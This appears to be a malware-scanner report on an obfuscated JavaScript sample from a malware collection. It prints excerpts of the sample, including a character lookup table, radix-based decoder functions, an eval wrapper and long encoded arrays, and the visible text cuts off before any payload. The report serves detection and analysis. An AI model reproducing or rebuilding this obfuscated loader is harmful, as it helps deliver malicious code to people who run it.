Suspicious ^80% javascript-malware-collection Download

20151210_f8f759925811caeb709e81652584a7af.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-256da8d949801924a97ebd09be4152fa7c1ae9004cb4b58ffa6183ef095645dcd4e

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var qrYIjHCTkntQi=[];
2mMCFTsW=(-931+931)/825;while(true){if(mMCFTsW>=(110419+173)/864){break;}qrYIjHCTkntQi[mMCFTsW]=String.fromCharCode(mMCFTsW);mMCFTsW++;}
3function NkgTJ(cngwuKoxCoG,fdntIPeWeqiwP,glfnZSfa){QAcu=parseInt(cngwuKoxCoG,fdntIPeWeqiwP);Ngzpu=QAcu.toString(glfnZSfa);return Ngzpu;}function CqkaoEcjEPrLTBn(SQUWYfSGguTQtZumf){eval(SQUWYfSGguTQtZumf)}
4function ZqZJBcKTNbXIDyZSjuldwwzcUjhwSHeCQEsGcmTecyqGuaqlmRdIJd(GCQBdRfRNkTEF,dtqAlEniEGXhST){ return qrYIjHCTkntQi[NkgTJ(GCQBdRfRNkTEF[dtqAlEniEGXhST],(16053+997)/682,(4160+130)/429)];}
5function rqWjWfP(siYKkrSuItVZLvNJHxcmZPGiaTUWZVvJmRaD) {return !isNaN(parseFloat(siYKkrSuItVZLvNJHxcmZPGiaTUWZVvJmRaD)) && isFinite(siYKkrSuItVZLvNJHxcmZPGiaTUWZVvJmRaD);}
6function lYAbKZHowsr(mhQYrZLk,mLJviL){return mhQYrZLk.split(mLJviL)}
7var H=[];H[0]="d";H[1]="a";H[2]="d";H[3]="a";H[4]="4i";H[5]="3m";H[6]="4e";H[7]="17";H[8]="4k";H[9]="17";H[10]="2b";H …

Massive array index assignment line 8

8:3006… ";m[751]="24";m[752]="21";m[753]="1g";m[754]="17";m[755]="17";m[756]="4n";m[757]="d";m[758]="a";m[759]="17";m[760]="17";m[761]="17";m[762]="17";m[763]="17";m[764]="17";m[765]="17";m[766]="17";m[767]="42";m[768]="46";m[769]="17";m[770]="2b";m[771]="17";m[772]="1o";m[773]="29";m[774]="17";m[775]="36";m[776]="4g";m[777]="49";m[778]="1l";m[779]="4c";m[780]="4b";m[781]="4f";m[782]="45";m[783]="4g";m[784]="45";m …